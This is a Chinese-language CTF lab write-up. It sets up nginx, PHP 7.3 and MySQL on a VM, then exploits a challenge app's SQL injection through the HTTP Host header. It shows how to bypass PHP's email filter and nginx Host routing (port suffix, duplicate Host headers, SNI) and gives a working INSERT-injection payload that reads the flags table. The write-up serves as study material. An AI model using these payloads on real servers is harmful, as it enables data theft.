首先你要有一个ubuntu系统的虚拟机这个我就不说啦
第一步:源码安装NGINX
安装前的准备
1:GCC编译器
安装nginx需要先将官网下载的源码进行编译,编译依赖 gcc 环境。安装指令如下:
sudo apt-get install -y gcc
2:PCRE
PCRE库支持正则表达式。如果我们在配置文件nginx.conf使用了正则表达式,那么在编译Nginx时就必须把PCRE库编译进Nginx,因为Nginx的HTTP等模块需要靠它解析正则表达式。如果不需要则不必安装。第一个安装包提供编译版本的库,而第二个提供开发阶段的头文件和编译项目的源代码。安装指令如下:
sudo apt-get install libpcre3 libpcre3-dev
3:zlib库
zlib库用于对HTTP内容做gzip格式压缩,如果我们在nginx.conf配置了gzip.on,并指定对于某些类型(content-type)的HTTP响应使用gzip进行压缩以减少网络传输量,那么在编译时就必须把zlib编译进Nginx。安装指令如下:
sudo apt-get install zlib1g-dev
4:OpenSSL开发库
如果我们的服务器不仅支持HTTP,还需要更安全的SSL协议上传输HTTP,那么久需要OpenSSL。另外,如果需要使用MD5,SHA1等散列函数,也需要安装它。安装指令如下:
sudo apt-get install openssl libssl-dev
然后用weget拉一下nginx压缩包
weget http://nginx.org/download/nginx-1.20.2.tar.gz
解压 tar-zxvf
运行./configure文件
进行编译 make & make install
搞定!!!
nginx修改配置文件
server {
listen 80;
server_name www.aaa.com;
root "/usr/local/nginx/www/pwnhub/web";
index index.html index.php;
location / {
try_files $uri $uri/ /index.php;
}
location ~ \.php(.*)$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_split_path_info ^((?U).+\.php)(/?.+)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
include fastcgi_params;
}
}
第二步:装php7.3
下载/更新php源
打开下载网址
https://launchpad.net/~ondrej/+archive/ubuntu/php
先安装一下这个命令 add-apt-repository
apt-get install software-properties-common
添加第三方源:
add-apt-repository ppa:ondrej/php
更新本地源
apt-get update
安装PHP 7.3
添加存储库后,可以使用以下命令安装PHP 7.3:
此命令将安装其他软件包:
libapache2-mod-php7.3
libaprutil1-dbd-sqlite3
php7.3-cli
php7.3-common
php7.3-json
php7.3-opcache
php7.3-readline
等等其他……
就是这样。要检查服务器上是否安装了PHP 7.3,请运行以下命令:
安装PHP 7.3模块
根据你的应用程序,你可能需要其他软件包和模块。可以使用以下命令安装最常用的模块:
就这样。现在,你可以在Ubuntu服务器上开始使用PHP。
安装php-fpm
root@ubuntu-virtual-machine:/usr/local/nginx/sbin# apt install php 7.3-fpm
修改一下www.conf
改为127.0.0.1:9000 改完记得重启服务。
第三步:安装mysql
需要安装mysql-cli 和 mysql-serve
然后必须要安装一下php7.3-mysql
才能行
注意:在这之前用先创建一个security表,然后用pwnhub_6670.sql文件刷一下。
mysql> show tables
-> ;
+--------------------+
| Tables_in_security |
+--------------------+
| flags |
| users |
+--------------------+
2 rows in set (0.00 sec)
mysql> show columns from users
-> ;
+----------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| username | varchar(256) | NO | UNI | NULL | |
| password | varchar(32) | NO | | NULL | |
| email | varchar(256) | YES | | NULL | |
+----------+------------------+------+-----+---------+----------------+
4 rows in set (0.01 sec)
mysql> show columns from flags
-> ;
+-------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| flag | varchar(256) | YES | | NULL | |
+-------+------------------+------+-----+---------+----------------+
2 rows in set (0.00 sec)
然后在插入一个flag开始你的表演
mysql> insert into falgs (flag) values('mygod,you are a hacker!');
ERROR 1146 (42S02): Table 'security.falgs' doesn't exist
mysql> insert into flags (flag) values('mygod,you are a hacker!');
Query OK, 1 row affected (0.00 sec)
mysql> show tables
-> ;
+--------------------+
| Tables_in_security |
+--------------------+
| flags |
| users |
+--------------------+
2 rows in set (0.00 sec)
mysql> select * from flags;
+----+-------------------------+
| id | flag |
+----+-------------------------+
| 2 | mygod,you are a hacker! |
+----+-------------------------+
1 row in set (0.00 sec)
提示:
如果报权限错误,就去/usr/local/nginx/www/pwnhub/protected/tmp 给成 777
如果Fatal error: Class 'MySQLi' not found in /var/www/aaa/nginxhost/protected/lib/core.php on line 280 那你就看一下php-mysql装好没
测试结果
注册页面显示正常
登录页面显示正常
注册账号进行登陆
遇到的问题
需要用虚拟主机来进行配置nginx .conf (否则php解析会有问题,登录页面解析不出来)
mysql登录不进去 需要安装mysql-server 连接不到数据库 需要安装 php7.3-mysql (根据自己的php版本来进行安装mysqli)
mysql里面没有security表需要自己登录mysql刷一下 配置文件pwnhub_6670.sql是这个文件(评论区会给出来)
后续加的配置HTTPS
1.nginx配置ssl模块
#1.判断是否具有ssl模块 --- 输出含有configure arguments: --with-http_ssl_module
/usr/local/nginx/sbin/nginx -V
#2.移动到nginx源码解压目录
./configure --with-http_ssl_module
#3.编译执行
make
#4.备份原有已安装好的nginx
cp /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.bak
#5.然后将刚刚编译好的nginx覆盖掉原有的nginx(这个时候nginx要停止状态)
cp ./objs/nginx /usr/local/nginx/sbin/
#6.测试查看
[root@blackstone nginx-1.20.2]# /usr/local/nginx/sbin/nginx -V
nginx version: nginx/1.20.2
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)
built with OpenSSL 1.0.2k-fips 26 Jan 2017
TLS SNI support enabled
configure arguments: --with-http_ssl_module
查看
root@ubuntu-virtual-machine:/usr/local/nginx/sbin# ./nginx -V
nginx version: nginx/1.20.2
built by gcc 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)
built with OpenSSL 1.1.1 11 Sep 2018
TLS SNI support enabled
configure arguments: --with-http_ssl_module
root@ubuntu-virtual-machine:/usr/local/nginx/sbin#
2.生成自签名证书
#1.创建证书目录
[root@blackstone nginx]# mkdir certificate
[root@blackstone nginx]# cd certificate/
#2.生成私钥 - 要求你输入这个key文件的密码。给nginx使用。每次reload nginx配置时候都要验证这个PAM密码。
openssl genrsa -des3 -out ssl.key 4096
#3.生成CA证书文件
openssl req -new -key ssl.key -out ssl.csr
#4.利用CA证书签名生成服务器身份证书 - 证书签发有效期365天
openssl x509 -req -days 365 -in ssl.csr -signkey ssl.key -out ssl.crt
#5.检查生成情况 - 此时包含我们自己的私钥,自己的证书.crt文件,以及csrCA证书
[root@blackstone certificate]# ll
total 12
-rw-r--r-- 1 root root 1891 Jan 11 21:28 ssl.crt
-rw-r--r-- 1 root root 1756 Jan 11 21:25 ssl.csr
-rw-r--r-- 1 root root 3311 Jan 11 21:24 ssl.key
生成私钥的时候需要密码这里我给的密码:root
后期可以删掉
3.配置nging.conf
server {
listen 443 ssl;
server_name www.aaa.com;
root "/usr/local/nginx/www/pwnhub/web";
index index.html index.php;
#生成的CRT证书
ssl_certificate /usr/local/nginx/certificate/ssl.crt;
#私钥
ssl_certificate_key /usr/local/nginx/certificate/ssl.key;
#缓存
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 5m;
#加密套件
ssl_ciphers HIGH:!aNULL:!MD5;
#加密算法由服务端说了算
ssl_prefer_server_ciphers on;
location / {
try_files $uri $uri/ /index.php;
}
location ~ \.php(.*)$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_split_path_info ^((?U).+\.php)(/?.+)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
include fastcgi_params;
}
}
基于PHPspeed小型架构的漏洞
网站源代码
我这边给的域名为www.aaa.com
目标网站`www.aaa.com`只有简单的注册、登录功能,有关输入的代码如下:
<?php
escape($_REQUEST);
escape($_POST);
escape($_GET);
function escape(&$arg) {
if(is_array($arg)) {
foreach ($arg as &$value) {
escape($value);
}
} else {
$arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);
}
}
function arg($name, $default = null, $trim = false) {
if (isset($_REQUEST[$name])) {
$arg = $_REQUEST[$name];
} elseif (isset($_SERVER[$name])) {
$arg = $_SERVER[$name];
} else {
$arg = $default;
}
if($trim) {
$arg = trim($arg);
}
return $arg;
}
escape是将GPR中的单引号、圆括号转换成中文符号,反斜线进行转义;arg是获取用户输入的`$_REQUEST`或`$_SERVER`。显然,这里`$_SERVER`变量没有经过转义,先记下这个点。
全局没其他值得注意的地方了,所以开始看controller的代码。
<?php
function actionRegister(){
if ($_POST) {
$username = arg('username');
$password = arg('password');
if (empty($username) || empty($password)) {
$this->error('Username or password is empty.');
}
$email = arg('email');
if (empty($email)) {
$email = $username . '@' . arg('HTTP_HOST');
}
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$this->error('Email error.');
}
$user = new User();
$data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
if ($data) {
$this->error('This username is exists.');
}
$ret = $user->create([
'username' => $username,
'password' => md5($password),
'email' => $email
]);
if ($ret) {
$_SESSION['user_id'] = $user->lastInsertId();
} else {
$this->error('Unknown error.');
}
}
}
以上是注册功能的代码,比较简单。用户名和密码是必填项,邮箱如果没有填写,则自动设置为”用户名@网站域名“。最后将三者传入create方法,create方法其实就是拼接了一个INSERT语句。
值得注意的是,网站域名是从`arg('HTTP_HOST')`中获取,也就是从`$_REQUEST`或`$_SERVER`中获取。因为`$_SERVER`没有经过转义,我们只需要在HTTP头Host值中引入单引号,即可造成一个SQL注入漏洞。
但email变量经过了`filter_var($email, FILTER_VALIDATE_EMAIL)`的检测,我们首先要绕过之。
注:注意看第13行代码 $email = $username . '@' . arg('HTTP_HOST');这里的.就和python中的+一样都是起拼接作用,然后这个代码的意思就是你传进来的username(就是你注册的用户名)+@+你的host拼接一下,这里直接想到burp suite直接抓然后修改一下username和host
第一步,绕过FILTER_VALIDATE_EMAIL
初步尝试原本是$email = "[email protected]";然后我的想法就是单双引号闭合$email = "xxx@xxx'.com";
<?php
$email = "xxx@xxx'.com";
var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
直接邮箱不合法
参考资料
RFC 3696规定,邮箱地址分为local part和domain part两部分。local part中包含特殊字符,需要如下处理:
1. 将特殊字符用`\`转义,如`Joe\'[email protected]`
2. 或将local part包裹在双引号中,如`"Joe'Blow"@example.com`
3. local part长度不超过64个字符
虽然PHP没有完全按照RFC 3696进行检测,但支持上述第2种写法。所以,我们可以利用之绕过`FILTER_VALIDATE_EMAIL`的检测。
因为代码中邮箱是用户名、@、Host三者拼接而成,但用户名是经过了转义的,所以单引号只能放在Host中。我们可以传入用户名为`"`,Host为`aaa'"@example.com`,最后拼接出来的邮箱为`"@aaa'"@example.com`。
这个邮箱包含单引号,将闭合SQL语句中原本的单引号,造成SQL注入漏洞。
注:这里直接使用第二种方法,用双引号将单引号闭合,使得email合法
然后直接go他给我返回的是默认页面,因为你的host修改啦他找不到啦,然后只能去默认文件啦
第二步, 绕过Nginx Host限制(依据nginx与php处理host不同方式绕过)
第一种方法
Nginx在处理Host的时候,会将Host用冒号分割成hostname和port,port部分被丢弃。所以,我们可以设置Host的值为www.aaa.com:aaa'"@example.com,这样就能访问到目标Server块:
如上图,成功触发SQL报错。
第二种方法
当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准。
也就是说,如果我传入:
```
Host: 2023.mhz.pw
Host: xxx'"@example.com
```
Nginx将认为Host为`2023.mhz.pw`,并交给目标Server块处理;但PHP中使用`$_SERVER['HTTP_HOST']`取到的值却是`xxx'"@example.com`。这样也可以绕过:
但是我并没成功我想应该是版本的问题
第三种方法
其实原理就是,我们在发送https数据包的时候,SNI中指定的域名是example2.com,而无需和HTTP报文中的Host头保持一致,Nginx会选择SNI中的域名作为Server Name。
看一下自己的nginx有没有SNI
root@ubuntu-virtual-machine:~# nginx -V
nginx version: nginx/1.20.2
built by gcc 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)
built with OpenSSL 1.1.1 11 Sep 2018
TLS SNI support enabled #这个就代表了SNI已经开启
configure arguments: --with-http_ssl_module
root@ubuntu-virtual-machine:~#
Mysql 5.7 INSERT注入方法
既然已经触发了SQL报错,说明SQL注入近在眼前。通过阅读源码中包含的SQL结构,我们知道flag在flags表中,所以不废话,直接注入读取该表。
最终HOST字段
Host: www.aaa.com:'),('a',md5(123),(select(flag)from(flags)))#"@aaa.com
内部执行的sql语句,相当于插入了两组数据,而第二组数据的email字段被拿来存放查询flag的结果。
insert into users (username,password,email) values ("studen,md5(12345),"[email protected]),('a',md5(123),(select(flag)from(flags)))
验证
mysql> select * from users;
+----+------------+----------------------------------+-------------------------+
| id | username | password | email |
+----+------------+----------------------------------+-------------------------+
| 15 | 1201070404 | e748c66680df18219d4f0a9124afad9b | [email protected] |
| 16 | oupeng | e10adc3949ba59abbe56e057f20f883e | [email protected] |
| 22 | "a | e10adc3949ba59abbe56e057f20f883e | "a@ |
| 23 | a | 202cb962ac59075b964b07152d234b70 | mygod,you are a hacker! |
+----+------------+----------------------------------+-------------------------+
4 rows in set (0.00 sec)
mysql>